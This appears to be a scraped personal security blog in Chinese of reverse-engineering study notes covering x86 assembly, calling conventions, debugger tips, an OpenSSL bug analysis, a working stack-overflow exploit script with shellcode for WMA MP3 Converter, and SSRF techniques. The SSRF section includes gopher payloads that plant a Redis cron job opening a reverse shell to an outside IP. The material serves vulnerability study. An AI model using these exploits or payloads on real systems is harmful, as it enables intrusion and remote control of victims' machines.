xinali / articles Goto Github PK
View Code? Open in Web Editor NEWPersonal Blog/主记录漏洞挖掘相关研究(文章位于issues)
Personal Blog/主记录漏洞挖掘相关研究(文章位于issues)
下面列出的就是一般程序中常用的从网络套接字中读取数据的 API 函数
read/write
recv/send
recvfrom/sendto
WSARecv/WSASend
WSARecvFrom/WSASendTo
ioctl octlsocket
WSARecvDisconnect/WSASendDisconnect
WSARecvEx/WSASendEx
recvmsg/sendmsg
WSARecvMsg/WSASendMsg
函数堆栈初始化
push ebp //栈底压栈
mov ebp,esp //栈底下移,更详细的请参考我关于ebp,esp的解释
sub esp,0CCh //局部变量预留空间
push ebx //保存ebx
push esi //保存esi
push edi //保存edi
lea edi,[ebp-0CCh] //下移edi到栈顶
mov ecx,33h //0CCh/4 = 33h
mov eax,0CCCCCCCCh //eax赋值
rep stos dword ptr es:[edi] //从edi开始做33h次赋值0CCCCCCCCh ,初始化栈内存
运行时错误检查
mov esi, esp
mov eax, [ebp+Test.m_nInt]
push eax
push offset Format ; "CTest: %d \r\n"
call ds:__imp__printf
add esp, 8
cmp esi, esp
call j___RTC_CheckEsp
call j_?eof@?$char_traits@D@std@@SAHXZ ; std::char_traits<char>::eof(void)
mov esi, esp
主要体现在
mov esi, esp
cmp esi, esp
c++ 类 this 指针使用
class CTest {
public:
//void __stdcall SetNumber(int nNumber) {
void SetNumber(int nNumber) {
m_nInt = nNumber;
}
public:
int m_nInt;
};
int _tmain(int argc, _TCHAR* argv[])
{
CTest Test;
Test.SetNumber(5);
printf("CTest: %d \r\n", Test.m_nInt);
std::cin.ignore();
}
对应的反汇编代码
009513EE 6A 05 push 0x5
009513F0 8D4D F8 lea ecx,dword ptr ss:[ebp-0x8] ; 获取this指针
009513F3 E8 F8FCFFFF call test.009510F0
009513F8 8BF4 mov esi,esp
009513FA 8B45 F8 mov eax,dword ptr ss:[ebp-0x8] ; kernel32.7649336A
009513FD 50 push eax ; kernel32.BaseThreadInitThunk
009513FE 68 30589500 push test.00955830 ; CTest: %d \r\n
00951403 FF15 50839500 call dword ptr ds:[<&MSVCR100D.printf>] ; msvcr100.printf
c++ 源代码(调用方式__stdcall)
class CTest {
public:
void __stdcall SetNumber(int nNumber) {
m_nInt = nNumber;
}
public:
int m_nInt;
};
int _tmain(int argc, _TCHAR* argv[])
{
CTest Test;
Test.SetNumber(5);
printf("CTest: %d \r\n", Test.m_nInt);
}
对应的反汇编代码
011513EE 6A 05 push 0x5
011513F0 8D45 F8 lea eax,dword ptr ss:[ebp-0x8] ;this指针使用参数传递
011513F3 50 push eax ; kernel32.BaseThreadInitThunk
011513F4 E8 F7FCFFFF call test.011510F0
011514E0 test.CTest::SetNumberc_erro> 55 push ebp
011514E1 8BEC mov ebp,esp
011514E3 81EC C0000000 sub esp,0xC0
011514E9 53 push ebx
011514EA 56 push esi
011514EB 57 push edi
011514EC 8DBD 40FFFFFF lea edi,dword ptr ss:[ebp-0xC0]
011514F2 B9 30000000 mov ecx,0x30
011514F7 B8 CCCCCCCC mov eax,0xCCCCCCCC
011514FC F3:AB rep stos dword ptr es:[edi]
011514FE 8B45 08 mov eax,dword ptr ss:[ebp+0x8] ;取得this指针(第一个参数)
01151501 8B4D 0C mov ecx,dword ptr ss:[ebp+0xC] ;取得第二个参数
01151504 8908 mov dword ptr ds:[eax],ecx
01151506 5F pop edi ; kernel32.7649336A
01151507 5E pop esi ; kernel32.7649336A
01151508 5B pop ebx ; kernel32.7649336A
01151509 8BE5 mov esp,ebp
0115150B 5D pop ebp ; kernel32.7649336A
0115150C C2 0800 retn 0x8
类中对象的数据成员传参顺序:最先定义的数据成员最后压栈,最后定义的数据成员最先压栈。
类中没有数据成员,而编译器为我们添加了vptr
在调试泡泡堂程序的过程中,在send设下了断点,一直提示设置的断点范围不在程序范围内,解决办法
在设置里options->debug options->security->warn when breakpoint is outside the code section
线程发包 ==> 跳出线程
心跳包的地址不固定,但是每次运行开始,到进入游戏,心跳发包的线程应该是一样的,因为socket id和相关的buff地址是一样的
ollydbg单线程调试,一个线程启动,别的线程挂起。
ollydbg自带的调用栈不可信,应该使用堆栈里面提供的调用栈,这个才是实时的调用栈。
原理就是跟踪写入send参数buff的函数,可以这样解释
send(socket_id, len, buff, flags),为了程序的性能问题,一般的游戏会把send/recv放在线程中,加解密又是在另一部分,send函数肯定不会改变buff的数据值,那么能够改变buff值的一般也就是加解密函数了,所以我们使用内存断点在buff的地址设下写断点,这样就可以找到加解密改变buff数据的函数了,同样的也就成功的跳出了,发包线程,不会一直在线程中循环。
壳一般是对程序进行压缩或者加密,无法进行动态或者静态调试
动态调试:
可以根据刘庆民的绕过方法,进行进一步的探索延伸学习!
void f1 (int x, int y, int *sum, int *product)
{
*sum=x+y;
*product=x*y;
};
int sum, product;
int main()
{
f1(123, 456, &sum, &product);
printf ("sum=%d, product=%d", sum, product);
return 0;
};
对应的反汇编代码
sum DD 01H DUP (?)
product DD 01H DUP (?)
$SG5336 DB 'sum=%d, product=%d', 00H
EXTRN ___acrt_iob_func:PROC
EXTRN ___stdio_common_vfprintf:PROC
_main PROC
push ebp
mov ebp, esp
push OFFSET ?product@@3HA
push OFFSET ?sum@@3HA
push 456 ; 000001c8H
push 123 ; 0000007bH
call ?f1@@YAXHHPAH0@Z
add esp, 16 ; 00000010H
mov eax, DWORD PTR product
push eax
mov ecx, DWORD PTR sum
push ecx
push OFFSET $SG5336
call _printf
add esp, 12 ; 0000000cH
xor eax, eax
pop ebp
ret 0
_main ENDP
_x$ = 8 ; size = 4
_y$ = 12 ; size = 4
_sum$ = 16 ; size = 4
_product$ = 20 ; size = 4
f1 PROC
push ebp
mov ebp, esp
sum DD 01H DUP (?)
product DD 01H DUP (?)
$SG5336 DB 'sum=%d, product=%d', 00H
EXTRN ___acrt_iob_func:PROC
EXTRN ___stdio_common_vfprintf:PROC
_main PROC
push ebp
mov ebp, esp
push OFFSET ?product@@3HA
push OFFSET ?sum@@3HA
push 456 ; 000001c8H
push 123 ; 0000007bH
call ?f1@@YAXHHPAH0@Z
add esp, 16 ; 00000010H
mov eax, DWORD PTR product
push eax
mov ecx, DWORD PTR sum
push ecx
push OFFSET $SG5336
call _printf
add esp, 12 ; 0000000cH
xor eax, eax
pop ebp
ret 0
_main ENDP
_x$ = 8 ; size = 4
_y$ = 12 ; size = 4
_sum$ = 16 ; size = 4
_product$ = 20 ; size = 4
f1 PROC
push ebp
mov ebp, esp
mov eax, DWORD PTR _x$[ebp]
add eax, DWORD PTR _y$[ebp]
mov ecx, DWORD PTR _sum$[ebp]
mov DWORD PTR [ecx], eax
mov edx, DWORD PTR _x$[ebp]
imul edx, DWORD PTR _y$[ebp]
mov eax, DWORD PTR _product$[ebp]
mov DWORD PTR [eax], edx
pop ebp
ret 0
f1 ENDP
pop ebp
ret 0
f1 ENDP
这里有一个地方是我一直不理解的,其中有问号的地方
mov eax, DWORD PTR _x$[ebp]
add eax, DWORD PTR _y$[ebp]
mov ecx, DWORD PTR _sum$[ebp] ???
mov DWORD PTR [ecx], eax
mov edx, DWORD PTR _x$[ebp]
imul edx, DWORD PTR _y$[ebp]
mov eax, DWORD PTR _product$[ebp] ???
mov DWORD PTR [eax], edx
f1函数中直接将参数的值给了ecx和eax,既然是地址传递,我一直觉得这里应该用lea命令,将参数的地址赋值出来,但是我们结合main函数的汇编代码,我们就能看出来了,main 函数里面push的就是地址,所以我们可以知道,ebp+n的参数值本身就是一个地址,我们要是利用lea,取地址之后再取地址,这里不是我们所期望的,所以正确的应该是将ebp+n的值(也就是参数的地址)给ecx/eax,之后再将计算的值放入该地址,也就完成了函数的指针传递。
#include <stdio.h>
void f(int i)
{
printf ("f(%d)", i);
};
int main()
{
int i;
for (i=2; i<10; i++)
{
f(i);
}
return 0;
};
对应的反汇编代码
_i$ = -4
_main PROC
push ebp
mov ebp, esp
push ecx
mov DWORD PTR _i$[ebp], 2 ; loop initialization
jmp SHORT $LN3@main
$LN2@main:
mov eax, DWORD PTR _i$[ebp] ; here is what we do after each iteration:
add eax, 1 ; add 1 to i value
mov DWORD PTR _i$[ebp], eax
$LN3@main:
cmp DWORD PTR _i$[ebp], 10 ; this condition is checked *before* each iteration
jge SHORT $LN1@main ; if i is biggest or equals to 10, let’s finish loop
mov ecx, DWORD PTR _i$[ebp] ; loop body: call f(i)
push ecx
call _f
add esp, 4
jmp SHORT $LN2@main ; jump to loop begin
$LN1@main: ; loop end
xor eax, eax
mov esp, ebp
pop ebp
ret 0
_main ENDP
一般分为这几个部分
关于fs寄存器
偏移 说明
000 指向SEH链指针
004 线程堆栈顶部
008 线程堆栈底部
00C SubSystemTib
010 FiberData
014 ArbitraryUserPointer
018 FS段寄存器在内存中的镜像地址
020 进程PID
024 线程ID
02C 指向线程局部存储指针
030 PEB结构地址(进程结构)
034 上个错误号
Win64 下 gs:[30] 是存放 TIB 块的 Self 指针,而在 Win32 下是 fs:[18]
数组的计数一般存在ecx中,数组的基址靠近esp,msvc一般是[ebp-n+i],n值是其所需的所有的字节数,i的不断递增,访问整个数组。
eax并不会解引用,会直接用eax里面的值进行运算,其实细细类比一下就可以理解了,可以从两方面理解
- 有中括号的这种才会出现解引用
- 平时利用堆栈ss:[ebp-4],也是直接用ebp里面的地址,并不会解引用!
lea ecx, ss:[ebp-n]
push ecx
call eax
很明显,ecx是通过指针的方式传递的,但是函数执行完之后,ecx的值很有可能会发生改变,我们传递这个地址,只是表明该地址在该函数中的数据会发生改变,不要简单的想着ecx的值不会改变,所以要注意一下这种地址的传递方式!
函数的查看、跟踪等,主要就是看参数和返回值,特别是传递地址时,因为c++会特别多的使用到指针。
调用方式 | 参数入栈方式 | 恢复栈平衡 | 使用语言 |
---|---|---|---|
_stdcall | 右—>左 | 子函数 | C++ |
_fastcall | 右—>左 | 子函数 | Delphi |
_cdcall | 右—>左 | 母函数 | C |
参数传递与c/c++不同点:
参数1------> EAX
参数2------> EDX
参数3------> ECX
其余参数通过栈的方式传递
在逆向delphi时,不能只看这几个参数所涉及到的寄存器或者是栈数据,比如
00457C96 FF75 F4 push dword ptr ss:[ebp-0xC]
00457C99 8D83 18030000 lea eax,dword ptr ds:[ebx+0x318]
00457C9F BA 04000000 mov edx,0x4
00457CA4 E8 93BFFAFF call CKme.00403C3C
如果仅仅只根据寄存器和栈,函数00403C3C的参数就只是这三个
ss:[ebp-0xc] 最先入栈,最右边的参数
eax 参数1
edx 参数2
在通过ida pro来看看伪代码
int v4; // ebx
int v6; // ST08_4
int v7; // ST04_4
int v8; // ecx
int v35; // [esp+2Ch] [ebp-Ch]
System::__linkproc__ LStrCatN(v4 + 792, 4, v8, v6, v7, v35);
这个是ida pro分析过后的代码,其实我们简单点分析,可以这样分析
sub_00403c3c(eax, edx, ss:[ebp-0x0c])
这样分析完全没有任何问题,函数内部是通过edx来连接几个字符串!
反汇编代码反应了代码的本质,一般也是逻辑最简洁的,感觉有疑问,直接跟进去,多运行几下就可以了
被调用函数能够影响调用函数的方式主要有:
主要的几种调用方式stdcall,fastcall等都是子函数维持栈的平衡,所以子函数在返回前一般会保持栈平衡
在crackme160 004的逆向中遇到的函数00403c3c这样的“递归”函数(非真正意义上的递归函数),在最后也会保持栈平衡,但是在ida中如果想得到伪代码,还是需要更改汇编代码才行
如果需要根据函数的参数设置断点,应该是记录esp的值,而不是ebp的值
*
查看结构信息####特定模块搜索
Ctrl+E->选中模块->右键->Follow entry,进入需要查找的模块,然后右键->中文搜索引擎->智能搜索
求字符串长度(release)
mov edi, [ebp+n] ; 获取参数数据
mov ecx, 0xffffffffh ; ecx=-1
xor eax, eax
repne scasb
not ecx
dec ecx
leave相当于
mov esp, ebp
pop ebp
repe/repne 相等则重复/不想等重复,一般连同scasb使用
repne scasb
scasb 比较al和di,相当于cmp al, di
Xor eax, ebx 用于判断两数是否相等
cdq 将一个32位有符合数扩展为64位有符号数,数据能表示的数不变,具体是这样实现的,比如eax=fffffffb(值为-5),然后cdq把eax的最高位bit,也就是二进制1,全部复制到edx的每一个bit位,EDX 变成 FFFFFFFF,这时eax与edx连起来就是一个64位数,FFFFFFFF FFFFFFFB ,它是一个 64 bit 的大型数字,数值依旧是 -5。
快捷键
Ctl+l 搜索所有的函数名称
g 跳转到特定位置
Alt+t 搜索特定的汇编指令
Shift+F12 列出所有字符串
点windows API函数
SetupDiGetDeviceRegistryProperty 查看设备属性(vmware, vbox...)
BOOL SetupDiGetDeviceRegistryProperty(
_In_ HDEVINFO DeviceInfoSet,
_In_ PSP_DEVINFO_DATA DeviceInfoData,
_In_ DWORD Property,
_Out_opt_ PDWORD PropertyRegDataType,
_Out_opt_ PBYTE PropertyBuffer, //指明设备名称 vmware, vbox, qemu
_In_ DWORD PropertyBufferSize,
_Out_opt_ PDWORD RequiredSize
);
有很多情况下,遇到问题没法解决,想了很久也没有任何的思路,可以跳出这个问题,看别的,之后再来看,没准也就可以理解了,想通了。
主要有这种方式
([UNICODE[esp+10]] !="BAR") && ([UNICODE[esp]] =="FOO")
[[STRING[esp+8]] =="FOO"] && [[STRING[esp+4]] !="BAR"]
并且设置在条件满足是记录相对应的数据
proc near
push esi
mov esi, ecx
mov dword ptr [esi], offset off_40C0D0
mov dword ptr [esi+4], 0BBh
call sub_401EB0
add esp, 18h
pop esi
retn
endp
局部数组变量的存储是连续的,但是如果是通过参数传递进来的,并且这些数据使用的是栈进行临时存储,那么从局部的函数看的话,这些数据是不连续的,局部的函数栈帧中只是存储了这些数组的首字节地址
-----
| | ===> 字符串首地址 这种字符串是通过参数传递进来的
-----
| | ===> 其他数据
-----
这种是局部数组
-----
| | ===> 字符串后四个字符
-----
| | ===> 字符串前四个字符
-----
函数的入口:
mainctrstartup
_tmainctrstartup
type | Meaning in MBCS builds | Meaning in Unicode builds |
---|---|---|
WCHAR |
wchar_t |
wchar_t |
LPSTR |
zero-terminated string of char (char* ) |
zero-terminated string of char (char* ) |
LPCSTR |
constant zero-terminated string of char (const char* ) |
constant zero-terminated string of char (const char* ) |
LPWSTR |
zero-terminated Unicode string (wchar_t* ) |
zero-terminated Unicode string (wchar_t* ) |
LPCWSTR |
constant zero-terminated Unicode string (const wchar_t* ) |
constant zero-terminated Unicode string (const wchar_t* ) |
TCHAR |
char |
wchar_t |
LPTSTR |
zero-terminated string of TCHAR (TCHAR* ) |
zero-terminated string of TCHAR (TCHAR* ) |
LPCTSTR |
constant zero-terminated string of TCHAR (const TCHAR* ) |
constant zero-terminated string of TCHAR (const TCHAR* ) |
##重点消息数值
WM_CLOSE(16)
WM_INITDIALOG(272)
WM_COMMAND(273)
移动串指令: **MOVSB**、**MOVSW**、**MOVSD** ;从 ESI -> EDI; 执行后, ESI 与 EDI 的地址移动相应的单位****
比较串指令: **CMPSB**、**CMPSW**、**CMPSD** ;比较 ESI、EDI; 执行后, ESI 与 EDI 的地址移动相应的单位****
扫描串指令: **SCASB**、**SCASW**、**SCASD** ;依据 AL/AX/EAX 中的数据扫描 EDI 指向的数据, 执行后 EDI 自动变化****
储存串指令: **STOSB**、**STOSW**、**STOSD** ;将 AL/AX/EAX 中的数据储存到 EDI 给出的地址, 执行后 EDI 自动变化****
载入串指令: **LODSB**、**LODSW**、**LODSD** ;将 ESI 指向的数据载入到 AL/AX/EAX, 执行后 ESI 自动变化****
其中的 B、W、D 分别指 ****Byte、********Word、********DWord, 表示每次操作的数据的大小单位.
上述指令可以有重复前缀:
**REP** ECX**** > 0**** 时
**REPE** (或 **REPZ**) ECX**** > 0**** 且 ZF=1**** 时
**REPNE**(或 **REPNZ**) ECX**** > 0**** 且 ZF=0**** 时
;重复前缀可以自动按单位(1、2、4)递减 ECX****
GetLastError()从 TEB 的 LastErrorValue 处得到错误码。
##调试子进程 建议用windbg
用命令
.childdbg 1
作者是懂汇编的,且程序是用汇编写的。因为3连call只能是人为设计的
write up中有意思的猜想:
我其实一开始以为的是第一种可能性,就差逆出scanf算法看他有什么猫腻了。。结果想想其实不是,因为IDA识别出了他是_scanf这个函数。如果作者修改了这个函数,IDA可能识别不出来这是个_scanf。
cdecl的栈平衡是通过母函数实现的,这句话主要的含义是这样的
push eax
push ecx
call xx.40xxxx
add esp, 0x8
并不是说其内部的栈是不平衡的,而是说参数的入栈是需要通过母函数来进行平衡的!
SEH即异常处理结构体,是windows异常处理中使用的一种数据结构,每个SEH包含两个DWORD指针:SEH链表指针和异常处理函数句柄。
+------------------------+
|DWORD: Next SEH Recoder |
+------------------------+
|DWORD: Exception Handler|
+------------------------+
测试shellcode溢出位置代码:
#include <windows.h>
#include <string.h>
char shellcode[] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"
DWORD MyExceptionhandler(void)
{
printf("got an exception, press enter to kill process!\n");
getchar();
ExitProcess(1);
}
void test(char *input)
{
char buf[200];
int zero = 0;
//__asm int 3
__try
{
strcpy(buf, input);
zero = 4/zero;
}
__except (MyExceptionhandler()){}
}
int main()
{
test(shellcode);
return 0;
}
产生错误之后,寄存器
根据eip,得到溢出长度为212,如果在没有源码的前提下,那么可以生成一个长度216的字符串,找到具体出错函数位置
进入sub_401020函数查看
根据汇编代码,sub_401020将arg_0数据复制到了ebp+var_E0中,在这里导致栈溢出!只需要找到ebp+var_E0位置即可
在win2000pro下的地址为0012fe98
,根据0day中以前使用的shellcode,可以构造如下shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x98\xFE\x12\x00";
shellcode开始和结尾使用\x90
是为了shellcode的稳定,之后成功弹窗
首先生成测试字符串
#encoding:utf-8
import sys
from pwnlib.util.cyclic import cyclic, cyclic_find
def usage():
print """
====================================================
[*] python genseq.py s/g arg"
example:
generate: python genseq.py g 1000
search: python genseq.py s abcd
====================================================
"""
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
sys.exit(1)
op = sys.argv[1]
try:
if op == 'g':
gen_len = sys.argv[2]
print cyclic(int(gen_len))
elif op == 's':
search_ch = sys.argv[2]
print cyclic_find(search_ch)
except Exception as ex:
print ex
usage()
生成一个10000长度的wav文件,打开CONVERTER,并利用windbg附加
开始转换,程序崩溃
kb
查看调用栈
可以看到调用栈全被数据填充,根据eip
定位溢出长度
0:003> .formats(eip)
Evaluate expression:
Hex: 61657062
Decimal: 1634037858
Octal: 14131270142
Binary: 01100001 01100101 01110000 01100010
Chars: aepb
Time: Tue Oct 12 04:24:18 2021
Float: low 2.64525e+020 high 0
Double: 8.07322e-315
利用上面的程序寻找一下:
python genseq.py s bpea
4112
可以看到当字符串长度达到4112
时即可覆盖eip
,程序并没有对传入的字符进行长度检查,所以可以构造shellcode
poc + eip + nops + shellcode
其中poc
长度4112,eip
地址为搜索到的jmp esp
利用其给出的shellcode测试
import struct
def little_endian(address):
return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A FFE4 JMP ESP
nops="\x90" * 80
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
rst= open("bof_WMA MP3 Converter.wav",'w')
rst.write(exploit)
rst.close()
except:
print "Error"
弹出计算器
git clone https://github.com/openssl/openssl
利用github
直接搜索
可以看到存在解决这个问题的commit
,进入
commit
做了很完善的说明,那就根据commit
说明来具体看一下为什么会出现这个问题,切换到其父commit
git checkout 069c3c0908dfa8418753d0c25890a9d4fb67178d
首先出现问题的最主要的函数是这个
static void
doapr_outch(char **sbuffer,
char **buffer, size_t *currlen, size_t *maxlen, int c)
{
/* If we haven't at least one buffer, someone has doe a big booboo */
assert(*sbuffer != NULL || buffer != NULL);
/* |currlen| must always be <= |*maxlen| */
assert(*currlen <= *maxlen);
if (buffer && *currlen == *maxlen) {
*maxlen += 1024;
if (*buffer == NULL) {
*buffer = OPENSSL_malloc(*maxlen);
if (*buffer == NULL) {
/* Panic! Can't really do anything sensible. Just return */
return;
}
if (*currlen > 0) {
assert(*sbuffer != NULL);
memcpy(*buffer, *sbuffer, *currlen);
}
*sbuffer = NULL;
} else {
*buffer = OPENSSL_realloc(*buffer, *maxlen);
if (!*buffer) {
/* Panic! Can't really do anything sensible. Just return */
return;
}
}
}
if (*currlen < *maxlen) {
if (*sbuffer)
(*sbuffer)[(*currlen)++] = (char)c;
else
(*buffer)[(*currlen)++] = (char)c;
}
return;
}
这个函数可能会出现如下问题
1. 没有错误处理,导致错误
2. size_t溢出,导致错误
而且根据这里
if (*currlen < *maxlen) {
if (*sbuffer)
(*sbuffer)[(*currlen)++] = (char)c;
else
(*buffer)[(*currlen)++] = (char)c;
}
可以基本推测,该函数肯定是会被循环调用的。
考虑这么一种情况在
条件 | 结果 |
---|---|
第一次buffer && *currlen == *maxlen 执行后 |
*sbuffer =NULL |
第二次buffer && *currlen == *maxlen 执行后 |
如果relloc 分配失败,*buffer=NULL |
再次循环来到这里
if (*currlen < *maxlen) {
if (*sbuffer)
(*sbuffer)[(*currlen)++] = (char)c;
else
(*buffer)[(*currlen)++] = (char)c;
}
*sbuffer==NULL
,进入
(*buffer)[(*currlen)++] = (char)c;
*buffer==NULL
,而currlen
不可控,可直接导致内存被改写
SSRF目前我所见过的主要攻击本地服务器主要有两种方式一个是利用redis,另一种是利用Memcached
进行SSRF攻击,利用最多的库就是libcurl
,比如php中的curl_exec
,curl
命令行等,可以先具体看看curl在SSRF中的作用。
查看curl
支持的协议
# curl -V
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp
我们通过使用curl的几个协议可以知道,入侵主机的一些程序信息
attacker.com $ curl 'dict://victim.com:2323'
victim.com $ nc -lvvp 2323 Listening on [0.0.0.0] (family 0, port 2323)
Connection from xxx 33442 received!
CLIENT libcurl 7.47.0
attacker.com $ curl 'dict://victim.com:2323'
evil.com $ nc -v -l 11111
Listening on [0.0.0.0] (family 0, port 11111)
Connection from [54.166.236.232] port 11111 [tcp/*] accepted (family 2, sport 35789)
CLIENT libcurl 7.40.0
QUIT
大部分的libcurl都不支持sftp协议,需要经过编译才能支持,所以一般这种探测都不会成功。不支持可以表现 在两个方面,一种是客户端的curl不支持发送sftp协议的数据,另一方面服务器端没有办法利用ssrf进行sftp的请求或接受该协议数据。
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null
比如我们利用gopher发送符合redis协议的数据包,攻击本地的redis,首先产生redis数据协议,可以利用下面的脚本产生需要的redis协议数据,只要每个数据用%0d%0a
分割即可
#!/bin/bash
#
# License: MIT
# Author: Michael Weibel
#
gen_redis_protocol() {
cmd=$1
proto=""
proto+="*"
number_of_words=0
byword=""
for word in $cmd
do
number_of_words=$[number_of_words+1]
byword+="$"
byword+=${#word}
byword+="\\r\\n"
byword+=$word
byword+="\\r\\n"
done
proto+=${number_of_words}
proto+="\\r\\n"
proto+=${byword}
printf $proto
}
gen_redis_protocol "SET mykey Hello"
因为redis是通过\r\n
即%0d%0a
,来分割每条命令的,所以首先用上面的脚本生成符合redis协议的数据,之后利用%0d%0a
合并即可,举个简单的例子
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
实际上任何形式的报文都可以发,在下划线之后的内容既是报文内容,要注意url加密问题。
其中sftp和dict主要用于获取服务器端libssh
和libcurl
的版本信息,因为可以利用这两个软件的信息进行漏洞利用,gopher则可以直接进行攻击。
libssh2 1.4.2 (probably vulnerable to CVE-2015-1782) and libcurl 7.40.0 (probably vulnerable to CVE-2015-3144, CVE-2015-3237)
如果利用php写的后端,那么php中可以触发ssrf的函数: file_get_contents()
, fsockopen()
, curl_exec()
, fopen()
curl_exec()
,可以发送get请求和post请求:$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://172.16.1.4/302.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); # 设置curl跟踪302跳转
$response = curl_exec($curl);
var_dump($response);
curl_close($curl);
?>
file_get_contents
只能get访问url,但是默认情况下就支持302跳转$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$response = file_get_contents("http://172.16.1.4/302.php");
var_dump($response);
?>
必须输入协议,比如http://
,在php5.6
和php7.1.7
测试下都不支持gopher。
同样该函数也是LFI(本地文件包含)漏洞需要重点关注的函数
curl
扩展支持dict
和file
协议,可以利用这些协议对主机进行相关的数据请求。普通的标签,比如img
,script
等基本都不会支持那么多的协议,就本就要想别的办法。redis支持的通信协议格式
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
具体可以打印出来的是这样的
*3
$3
SET
$5
mykey
$7
myvalue
每行数据都是利用\r\n
(%0d0a
)分割的,只要能够发送这样的数据,redis都照常解析
http
协议http
协议请求redis
,会出现这样的错误$ curl 'http://212.24.111.64:6379/%0D%0Ainfo'
-ERR wrong number of arguments for 'get' command
